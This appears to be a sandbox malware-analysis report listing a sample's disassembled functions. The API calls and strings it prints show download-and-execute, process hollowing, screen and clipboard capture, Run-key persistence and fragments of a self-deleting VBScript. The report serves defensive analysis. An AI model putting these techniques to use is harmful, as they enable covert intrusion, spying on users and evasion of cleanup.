Uniqueness Score: -1.00%

Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041B4B9
LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3

Strings

SETTINGS, xrefs: 0041B4AC

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: SETTINGS
API String ID: 3473537107-594951305
Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040966A
FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstH_prologNext
String ID:
API String ID: 1157919129-0
Opcode ID: 8a5ce0672f9b165c8b59fe5e999e5299a44c6451e72dbf911edcb1b5cbd094d9
Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
Opcode Fuzzy Hash: 8a5ce0672f9b165c8b59fe5e999e5299a44c6451e72dbf911edcb1b5cbd094d9
Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408811
FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
__CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$File$CloseException@8FirstH_prologNextThrow
String ID:
API String ID: 1771804793-0
Opcode ID: e4bf9b104c2a4932abe6be63e8df5bb1645f0ee96392f376ac585c53c850bca5
Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
Opcode Fuzzy Hash: e4bf9b104c2a4932abe6be63e8df5bb1645f0ee96392f376ac585c53c850bca5
Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0

Strings

C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 00407007, 0040712F
open, xrefs: 00406FB6

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DownloadExecuteFileShell
String ID: C:\Users\Public\Libraries\nmfsxfjX.pif$open
API String ID: 2825088817-2369784581
Opcode ID: 5505d1f989835e5386e0be1d1f6824a76adf241377c16252f380900cbb29c9cd
Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
Opcode Fuzzy Hash: 5505d1f989835e5386e0be1d1f6824a76adf241377c16252f380900cbb29c9cd
Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B

Uniqueness

Uniqueness Score: -1.00%

Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

XPG, xrefs: 00407877
XPG, xrefs: 0040793A

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNextsend
String ID: XPG$XPG
API String ID: 4113138495-1962359302
Opcode ID: 7493802b9fea3f653f5859ff7eede1918c289d9ff4253d111e6d79fb62445a1f
Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
Opcode Fuzzy Hash: 7493802b9fea3f653f5859ff7eede1918c289d9ff4253d111e6d79fb62445a1f
Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7

Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
Part of subcall function 0041376F: RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
Part of subcall function 0041376F: RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1

Strings

WallpaperStyle, xrefs: 0041CA22, 0041CA55, 0041CAA5
Control Panel\Desktop, xrefs: 0041CA1D, 0041CA50, 0041CAA0
TileWallpaper, xrefs: 0041CAC1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseCreateInfoParametersSystemValue
String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
API String ID: 4127273184-3576401099
Opcode ID: a05115c3504dfde330e24bf23dcfa1352310ad822a085fdd45549c78b87fb04f
Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
Opcode Fuzzy Hash: a05115c3504dfde330e24bf23dcfa1352310ad822a085fdd45549c78b87fb04f
Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF

Uniqueness

Uniqueness Score: -1.00%

Function 004432B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG,00446136,00000003), ref: 004432D6
TerminateProcess.KERNEL32(00000000), ref: 004432DD
ExitProcess.KERNEL32 ref: 004432EF

Strings

PkGNG, xrefs: 004432B7

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID: PkGNG
API String ID: 1703294689-263838557
Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004461F0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Strings

PkGNG, xrefs: 004461F2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction ID: a89a86a7c059f2ce1b75669fee0c4fca3fa64158462c9470c468cddaecc71d09
Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction Fuzzy Hash: FB025D71E002199BEF14CFA9D8806AEBBF1FF49324F26416AD819E7344D734AE41CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0043BC1A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043BC24
UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48

Uniqueness

Uniqueness Score: -1.00%

Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,004334BF,00000034,?,?,00000000), ref: 00433849
CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?), ref: 0043385F
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?,0041E251), ref: 00433871

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040B711
GetClipboardData.USER32(0000000D), ref: 0040B71D
CloseClipboard.USER32 ref: 0040B725

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
Opcode Fuzzy Hash: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD

Uniqueness

Uniqueness Score: -1.00%

Function 00434C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 00434C6B

Strings

, xrefs: 00434DD2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B60D Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32(00000001,?,0000002B,004750E4), ref: 0041B62A
GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
Opcode Fuzzy Hash: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
HeapFree.KERNEL32(00000000), ref: 004120EE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
Opcode Fuzzy Hash: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00034B53,0043487A), ref: 00434B4C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00418E76 Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 328windowmemoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
CreateCompatibleDC.GDI32(00000000), ref: 00418E9D

Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355

CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
DeleteDC.GDI32(00000000), ref: 00418F2A
DeleteDC.GDI32(00000000), ref: 00418F2D
DeleteObject.GDI32(00000000), ref: 00418F30
SelectObject.GDI32(00000000,00000000), ref: 00418F51
DeleteDC.GDI32(00000000), ref: 00418F62
DeleteDC.GDI32(00000000), ref: 00418F65
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
GetCursorInfo.USER32(?), ref: 00418FA7
GetIconInfo.USER32(?,?), ref: 00418FBD
DeleteObject.GDI32(?), ref: 00418FEC
DeleteObject.GDI32(?), ref: 00418FF9
DrawIcon.USER32(00000000,?,?,?), ref: 00419006
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
DeleteDC.GDI32(?), ref: 0041917C
DeleteDC.GDI32(00000000), ref: 0041917F
DeleteObject.GDI32(00000000), ref: 00419182
GlobalFree.KERNEL32(?), ref: 0041918D
DeleteObject.GDI32(00000000), ref: 00419241
GlobalFree.KERNEL32(?), ref: 00419248
DeleteDC.GDI32(?), ref: 00419258
DeleteDC.GDI32(00000000), ref: 00419263

Strings

DISPLAY, xrefs: 00418E89

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIconInfo$BitmapBitsCursorDisplayDrawEnumLocalSelectSettingsStretch
String ID: DISPLAY
API String ID: 4256916514-865373369
Opcode ID: d098f0494e6cf70b6a27a8e3a9167c03c8027aa06e67c3efe5d1aa02d08667bb
Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
Opcode Fuzzy Hash: d098f0494e6cf70b6a27a8e3a9167c03c8027aa06e67c3efe5d1aa02d08667bb
Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004180EF Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 289libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
GetProcAddress.KERNEL32(00000000), ref: 00418139
GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
GetProcAddress.KERNEL32(00000000), ref: 0041814D
GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
GetProcAddress.KERNEL32(00000000), ref: 00418161
GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
GetProcAddress.KERNEL32(00000000), ref: 00418175
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
GetThreadContext.KERNEL32(?,00000000), ref: 00418245
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
TerminateProcess.KERNEL32(?,00000000), ref: 00418301
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
SetThreadContext.KERNEL32(?,00000000), ref: 00418428
ResumeThread.KERNEL32(?), ref: 00418435
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
GetCurrentProcess.KERNEL32(?), ref: 00418457
TerminateProcess.KERNEL32(?,00000000), ref: 00418472
GetLastError.KERNEL32 ref: 0041847A

Strings

ZwUnmapViewOfSection, xrefs: 0041814F
ZwMapViewOfSection, xrefs: 0041813B
ntdll, xrefs: 00418121, 00418140, 00418154, 00418168
ZwCreateSection, xrefs: 0041811C
`#v, xrefs: 0041830B
ZwClose, xrefs: 00418163

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$`#v$ntdll
API String ID: 4188446516-108836778
Opcode ID: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
Opcode Fuzzy Hash: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579

Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5

Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430

ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
ExitProcess.KERNEL32 ref: 0040D7D0

Strings

"), xrefs: 0040D5D5
while fso.FileExists(", xrefs: 0040D5EC
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0040D5AA
0qF, xrefs: 0040D737, 0040D778, 0040D661, 0040D68E
8SG, xrefs: 0040D4CF
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040D471
\update.vbs, xrefs: 0040D57B
exepath, xrefs: 0040D4F7
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0040D773
fso.DeleteFile ", xrefs: 0040D63A
0qF, xrefs: 0040D78C, 0040D797
open, xrefs: 0040D7BE
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0040D4C2
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0040D701
dMG, xrefs: 0040D45B
On Error Resume Next, xrefs: 0040D5B9
fso.DeleteFolder ", xrefs: 0040D6AB
wend, xrefs: 0040D689
Temp, xrefs: 0040D580
""", 0, xrefs: 0040D6E7

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
